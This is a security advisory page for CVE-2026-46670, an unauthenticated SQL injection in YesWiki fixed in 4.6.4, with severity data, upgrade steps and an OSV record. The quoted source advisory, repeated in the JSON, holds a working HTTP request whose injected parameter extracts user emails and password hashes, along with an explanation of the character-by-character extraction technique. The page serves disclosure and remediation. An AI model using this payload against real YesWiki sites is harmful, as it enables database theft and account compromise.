CVE-2026-46670: YesWiki SQL Injection Vulnerability

CRITICAL
Advisory Identifier: GHSA-jwvv-qr7q-cv8j
CVSS 9.8
CWE-89
Published
Advisory Summary

CVE-2026-46670 is a CRITICAL (CVSS 9.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting YesWiki libraries in the Packagist ecosystem. The issue involves unauthenticated sql injection. Remediation is available by upgrading affected packages to version 4.6.4.

CVE-2026-46670 at a Glance

CVE Identifier CVE-2026-46670
GHSA Identifier GHSA-jwvv-qr7q-cv8j
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product YesWiki
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-46670

To remediate this vulnerability, upgrade all affected YesWiki dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

yeswiki/yeswiki fixed: 4.6.4
Upgrade yeswiki/yeswiki to 4.6.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for yeswiki/yeswiki

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-46670, inspect your project dependencies for YesWiki:

inspect dependencies for yeswiki/yeswiki

Analyze the terminal output to locate any version of YesWiki in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In YesWiki, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated SQL injection in the Bazar form-import path (`FormManager::create()`) allows any unauthenticated visitor of a default YesWiki install to inject arbitrary SQL into an `INSERT` statement and read the full database, including `yeswiki_users.password` hashes. Present in 4.6.1 / 4.6.2 / current `doryphore-dev`; analyzed against upstream commit `1f485c049db030b94c047ec219e63534ac81142e`. ### Details Sink is at `FormManager::create()` (function at L232), unquoted concatenation of `bn_id_nature` into the `INSERT VALUES` list at https://github.com/YesWiki/yeswiki/blob/1f485c049db030b94c047ec219e63534ac81142e/tools/bazar/services/FormManager.php#L258 Reachability is unauthenticated. ### PoC 1. Clone the repo (test was done on 1f485c049db030b94c047ec219e63534ac81142e) 2. Bring up the service using docker: `cd docker && docker compose build && docker compose up` 3. Go to `https://localhost:8085` 4. Go through the installation 5. Run the POC: [yeswiki_sqli_poc.py](https://github.com/user-attachments/files/27578633/yeswiki_sqli_poc.py) <img width="672" height="54" alt="image" src="https://github.com/user-attachments/assets/fc9a9adf-7d09-442b-bcc1-8edf1bdcf0a1" /> ### Impact Sql injection. An attacker can dump the whole db, including usernames, emails, and hashed passwords. ### More details Sample http request (copied from burp): ``` POST /?BazaR&vue=formulaire HTTP/1.1 Accept-Encoding: gzip, deflate, br Content-Length: 353 Host: localhost:8085 User-Agent: Python-urllib/3.13 Content-Type: application/x-www-form-urlencoded Connection: keep-alive imported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22zz_poc_7790000_1%22%2C+%22bn_template%22%3A+%22%22%2C+%22bn_description%22%3A+%22%22%2C+%22bn_condition%22%3A+%22%22%7D ``` #### POC internals: The PoC uses an expression like: `7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1))` **Breakdown** `SELECT HEX(VERSION())` or whatever the statement is (the poc file dumps 1 username and password) This gets the database version and hex-encodes it. Example: ``` VERSION() = 9.7.0 HEX(VERSION()) = 392E372E30 ``` Then: `SUBSTRING((SELECT HEX(VERSION())), 1, 1)` takes one character from that hex string. For position 1, this returns `3`, then: `ASCII(...)` converts that character to its ASCII code: `ASCII('3') = 51` Then: `7330000 + 51` produces `7330051` So the full vulnerable insert becomes roughly: ``` INSERT INTO yeswiki_nature (..., bn_id_nature, ...) VALUES (7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1)), "fr-FR", ...); ``` MySQL evaluates the expression before storing it, so the inserted row has: `bn_id_nature = 7330051` The PoC reads that ID from `/?api/forms`, subtracts `7330000`, gets `51`, converts `51` back to '3', and repeats for the next character.

CVE-2026-46670 Affected YesWiki Versions

1 component(s)
Fixed Versions:
4.6.4
Product / Package Ecosystem Affected Versions Fixed Version
yeswiki/yeswiki
Packagist
< 4.6.4
4.6.4

References

Frequently Asked Questions

What is CVE-2026-46670?
CVE-2026-46670 is a security vulnerability in YesWiki involving Unauthenticated SQL Injection under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which YesWiki versions are affected?
Affected versions include releases prior to 4.6.4 across affected packages: yeswiki/yeswiki.
What version fixes CVE-2026-46670?
Upgrading to 4.6.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is yeswiki/yeswiki affected?
Yes, yeswiki/yeswiki is affected in releases prior to 4.6.4. Upgrade your dependency to 4.6.4 or later.
What is the CVSS score of CVE-2026-46670?
CVE-2026-46670 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-46670?
CVE-2026-46670 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2026-46670?
Run the dependency tree command: 'inspect dependencies for yeswiki/yeswiki'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jwvv-qr7q-cv8j",
  "modified" : "2026-05-22T15:39:07Z",
  "published" : "2026-05-22T15:39:07Z",
  "aliases" : [ "CVE-2026-46670" ],
  "summary" : "YesWiki: Unauthenticated SQL Injection",
  "details" : "### Summary\n\nAn unauthenticated SQL injection in the Bazar form-import path (`FormManager::create()`) allows any unauthenticated visitor of a default YesWiki install to inject arbitrary SQL into an `INSERT` statement and read the full database, including `yeswiki_users.password` hashes. Present in 4.6.1 / 4.6.2 / current `doryphore-dev`; analyzed against upstream commit `1f485c049db030b94c047ec219e63534ac81142e`.\n\n### Details\n\nSink is at `FormManager::create()` (function at L232), unquoted concatenation of `bn_id_nature` into the `INSERT VALUES` list at https://github.com/YesWiki/yeswiki/blob/1f485c049db030b94c047ec219e63534ac81142e/tools/bazar/services/FormManager.php#L258 \n\nReachability is unauthenticated.\n\n\n### PoC\n\n1. Clone the repo (test was done on 1f485c049db030b94c047ec219e63534ac81142e)\n2. Bring up the service using docker: `cd docker && docker compose build && docker compose up`\n3. Go to `https://localhost:8085`\n4. Go through the installation\n5. Run the POC: \n[yeswiki_sqli_poc.py](https://github.com/user-attachments/files/27578633/yeswiki_sqli_poc.py)\n\n<img width=\"672\" height=\"54\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fc9a9adf-7d09-442b-bcc1-8edf1bdcf0a1\" />\n\n\n### Impact\nSql injection.\nAn attacker can dump the whole db, including usernames, emails, and hashed passwords.\n\n\n### More details\nSample http request (copied from burp):\n```\nPOST /?BazaR&vue=formulaire HTTP/1.1\nAccept-Encoding: gzip, deflate, br\nContent-Length: 353\nHost: localhost:8085\nUser-Agent: Python-urllib/3.13\nContent-Type: application/x-www-form-urlencoded\nConnection: keep-alive\n\nimported-form%5B7791000%2BASCII%28SUBSTRING%28%28SELECT%2F%2A%2A%2FHEX%28CONCAT%28email%2C0x3a%2Cpassword%29%29%2F%2A%2A%2FFROM%2F%2A%2A%2Fyeswiki_users%2F%2A%2A%2FLIMIT%2F%2A%2A%2F1%29%2C1%2C1%29%29%5D=%7B%22bn_label_nature%22%3A+%22zz_poc_7790000_1%22%2C+%22bn_template%22%3A+%22%22%2C+%22bn_description%22%3A+%22%22%2C+%22bn_condition%22%3A+%22%22%7D\n```\n\n#### POC internals:\nThe PoC uses an expression like:\n`7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1))`\n\n**Breakdown**\n`SELECT HEX(VERSION())` or whatever the statement is (the poc file  dumps 1 username and password)\nThis gets the database version and hex-encodes it.\nExample:\n```\nVERSION()      = 9.7.0\nHEX(VERSION()) = 392E372E30\n```\nThen:\n`SUBSTRING((SELECT HEX(VERSION())), 1, 1)` takes one character from that hex string. \nFor position 1, this returns `3`, then: `ASCII(...)` converts that character to its ASCII code: `ASCII('3') = 51`\nThen:\n`7330000 + 51` produces `7330051`\nSo the full vulnerable insert becomes roughly:\n```\nINSERT INTO yeswiki_nature (..., bn_id_nature, ...)\nVALUES (7330000 + ASCII(SUBSTRING((SELECT HEX(VERSION())), 1, 1)), \"fr-FR\", ...);\n```\nMySQL evaluates the expression before storing it, so the inserted row has: `bn_id_nature = 7330051`\nThe PoC reads that ID from `/?api/forms`, subtracts `7330000`, gets `51`, converts `51` back to '3', and repeats for the next character.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yeswiki/yeswiki"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.6.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-jwvv-qr7q-cv8j"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YesWiki/yeswiki"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-22T15:39:07Z",
    "nvd_published_at" : null
  }
}